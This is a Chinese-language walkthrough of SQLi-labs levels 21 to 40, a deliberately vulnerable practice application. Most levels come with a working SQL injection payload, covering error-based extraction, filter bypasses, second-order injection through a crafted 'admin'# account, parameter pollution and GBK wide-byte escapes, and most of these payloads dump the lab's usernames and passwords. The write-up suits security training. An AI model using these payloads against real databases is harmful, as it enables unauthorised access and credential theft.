Less-21
进去发现和20关一样,显示一堆信息。抓了包发现,cookie和之前的不一样
查了百度得知,cookie是进行了base64编码处理。
在线Base64编码转换
照搬20关的方法,记得将代码进行编码转化
' or updatexml(1,concat('#',(select database()),'#'),1)#
Less-22
双引号闭合,参考Less-21。
Less-23
这关不管怎么尝试,都是出现一堆英文
看一下源码,发现
符号 # ,- -,空格都被注释掉了。那这样的话以往的联合语句就不能照搬过来用了。
可以采用闭合注入语句,空格可以用+
代替。
源码的语句为
可以输入?id=0' union select 1,2,3'
。
第一个’(单引号)闭合0,第二个’(单引号)闭合后面的单引号。
这样整个语句就变成了$sql="SELECT * FROM users WHERE id='0' union select 1,2,3' LIMIT 0,1"
可以看到
有两个显示位面,然后用联合注入。
Less-24
进去发现界面和之前的都不一样,是没有玩过的船新版本。不仅可以输入账号密码,还有忘记密码和注册新账户的功能。先输入正确的账号密码,进去看看
发现可以在此界面修改自己的密码
看了大佬的博客得知可以这样,先是注册一个 admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是 admin的密码。
Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
,
也 就 是 执 行了 UPDATE users SET passwd="New_Pass" WHERE username =' admin'
。
这样就达到目的了。
Less-25
看本关的提示发现,OR 和AND 都被过滤了。
看了别人的博客想到以下方法
(1)大小写变形 Or,OR,oR
(2)双写OR 和AND
(3)添加注释比如a/**/nd,这是的and就不会被过滤。
(4)利用符号 and=&&, or=||
先?id=0' union select 1,2,3--+
有两个显示位面。
爆所有数据库/?id=0' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),database()--+
之后就是联合注入。
还有屏幕最下方的蓝色字可以查漏补缺,蓝字就是自己构造的payload语句,只要检查这条语句哪里缺漏了就可以知道哪里被过滤掉了。
Less-25a
注入方法和25关相同,只不过要采用盲注。
Less26
看一下源码,发现一堆东西都被过滤了
or和and可以用25关的方法进行绕过,但是要注意上图的/or/i
中的i
表示ignore忽略,即or不区分大小写,可以双写绕过。空格可以用url编码%0a
或用+
替代。
但不知道为什么,不行。我用/?id=0%27union%0aselect%0a1,2,3||%271
会报错,明明把被过滤都绕过了,不太清楚。不过可以试试报错注入。
数据库
?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1
数据表
?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
字段名
?id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1
数据
/?id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1
Less-26a
这关是')
型,与上一关不同的是,这一关没有报错显示,所以要用联合注入。注意前后加括号进行语句闭合。
Less-27
看图片这关应该是union和select被过滤了,考虑可以改变大小写混写使用。
先输入/?id=1
发现页面正常且有两个显示位面,经过尝试发现这关是')
闭合性,同时也说明'
没有被过滤。之后发现空格也被过滤了。那就用%0a
代替。用联合注入
查数据库
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(schema_name)%0afrom%0a%20information_schema.schemata),%271
查数据表
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0a information_schema.tables%0awhere%0atable_schema='security'),%271
查字段
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(column_name)%0afrom%0a information_schema.columns%0awhere%0atable_name='users'%0aand%0atable_schema='security'),%271
查数据
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(username)%0afrom%0asecurity.users),(SeLeCt%0agroup_concat(password)%0afrom%0asecurity.users)'
Less-27a
这关是"
闭合,具体和27关一样。
Less-28
这一关发现复制27关,仅仅只是union被过滤了,但这次不管怎么大小写混用,都没用。看来过滤的很透彻,是个狼人。可以双写,然后记得两个union之间要加空格(%0a)select也是这样。
然后还是不行,看了语句明明没问题,之后意识到可能闭合情况不一样,加了括号就对了。
查数据库
/?id=0')%0aunion%0aunion%0aSeLeCt%0aselect%0a1,(SeLeCt%0agroup_concat(schema_name)%0afrom%0a%20information_schema.schemata),('1
后面的照搬27关,记得加括号。
Less-28a
这关发现直接照搬28关就出来了,真香。
服务器(两层)架构
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache
为引擎的 php 服务器。
真正提供 web服务的是 php服务器。工作流程为: client 访问服务器, 能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回时路径则相反。
所以我们可以输入两个数据,第一个数据欺骗以tomcat 为引擎的 jsp 型服务器,第二个数据则是有用的数据。
Less-29
查数据
/?id=1&id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-30
根据以前做的经验,这关应该和上一关差不多,估计是闭合状况不同。果然,是"
闭合型。
查数据
/?id=1&id=0" union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-31
这关也一样,是")
型闭合。
查数据
/?id=1&id=0") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
宽字节注入
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii码大于 128 才能到汉字的范围)。我们在过滤 '
的时候,往往利用的思路是将 '
转换为\'
。 因此我们要想办法将\'
中的\
除掉,然后就只剩下'
了,就达到目的了。
可以用%df
吃掉\
。有一个函数urlencode
,可将字符串以URL编码,用于编码处理。urlencode(\') =%5c%27
,我们在%5c%27
前面添加%df
,形成%df%5c%27
,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c
就是一个汉字運
,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
Less-32
首先,照着上一关的代码鞥搬上去,发现下方蓝色字出现异常
多了一个\
反斜杠符号,看源码得知
addslashes()
函数的作用是:
在 单引号'
,双引号"
,反斜杠\
还有NULL
前面加上反斜杠\
。
所以我们可以用加上%df
的方法来进行注入。
查数据/?id=0%df' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-33
这关直接照搬上一关的代码。
Less-34
本关是post型的注入漏洞,同样的也是将post过来的内容进行了\'
的处理。
get 型的方式我们是以url形式提交的,因此数据会通过URLencode,从而将'
转义为%27
但post型省了这一步,在post栏里输入的字符不会被自动转换,也就是说在url里面输入%df会被后台转义为 � 这个东西,但是在post中输入%df就还是%df,我们要直接输入%df的转义字符� ,这样效果才等同于在url中输入%df。
查数据Username:0admin�' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#
。
这一关也可以用万能密码,注意在'0
前加上� 。
Less-35
这一关对id没有任何闭合,那就没有必要去考虑 check_addslashes()函数的意义了。
直接 查数据
/?id=0 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-36
这关是单引号闭合,和32关一样
查数据/?id=0%df' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-37
post型,照搬34关试试,可以。
Less-38
这一关看名字,得知是堆叠注入,查了百度原来就是两个sql语句一块执行。
直接照搬29关代码。
Less-39
这一关是数字型注入,照搬29关代码,只需取掉'
即可。
查数据
/?id=1&id=0 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less-40
这关是')
型注入,
查数据
/?id=1&id=0')%20union%20select%201,(select%20group_concat(username)%20from%20security.users),(select%20group_concat(password)%20from%20security.users)--+
。